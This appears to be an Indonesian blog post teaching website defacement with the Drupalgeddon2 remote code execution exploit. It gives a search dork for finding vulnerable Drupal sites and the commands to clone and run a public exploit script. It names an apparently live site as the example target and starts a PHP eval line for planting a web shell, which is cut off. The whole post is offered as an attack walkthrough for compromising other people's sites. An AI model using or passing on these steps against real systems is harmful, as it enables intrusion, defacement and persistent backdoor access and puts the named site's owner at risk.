DRUPAL GEDDON RCE UPLOAD SHELL
DRUPAL RCE UPLOAD SHELL hai ketemu lagi dengan saya , kali ini saya membagikan tutorial deface menggunakan teknik DRUPAL RCE , tutorial deface ini menggunakan tools di terminal dengan bahasa Ruby . langsung saja tutorial nya ya :) metode ini di gunakan untuk website yang memakai CMS Drupal dork : inurl:"*drupal_ajax" intext:"powered by drupal" dork kembangin setelah menemukan site drupal tinggal eksekusi pakai tools nya saja buka terminal : $ apt-get install git $ gem install ruby $ git clone https://github.com/dreadlocked/Drupalgeddon2 buka file nya $ cd Drupalgeddon2 cara pakai nya $ ruby drupalgeddon2.rb <site> contoh live target : $ ruby drupalgeddon2.rb http://boatsmedia.in/ jika berhasil nanti web nya ter connect ke terminal lo cek dengan perintah $ uname -a jika nanti muncul kernal web maka artinya berhasil tinggal eksekusi deh . kalo mau tanam shell tinggal ketik gini $ echo '<?php eval("?>".file_get_con...

Komentar
Posting Komentar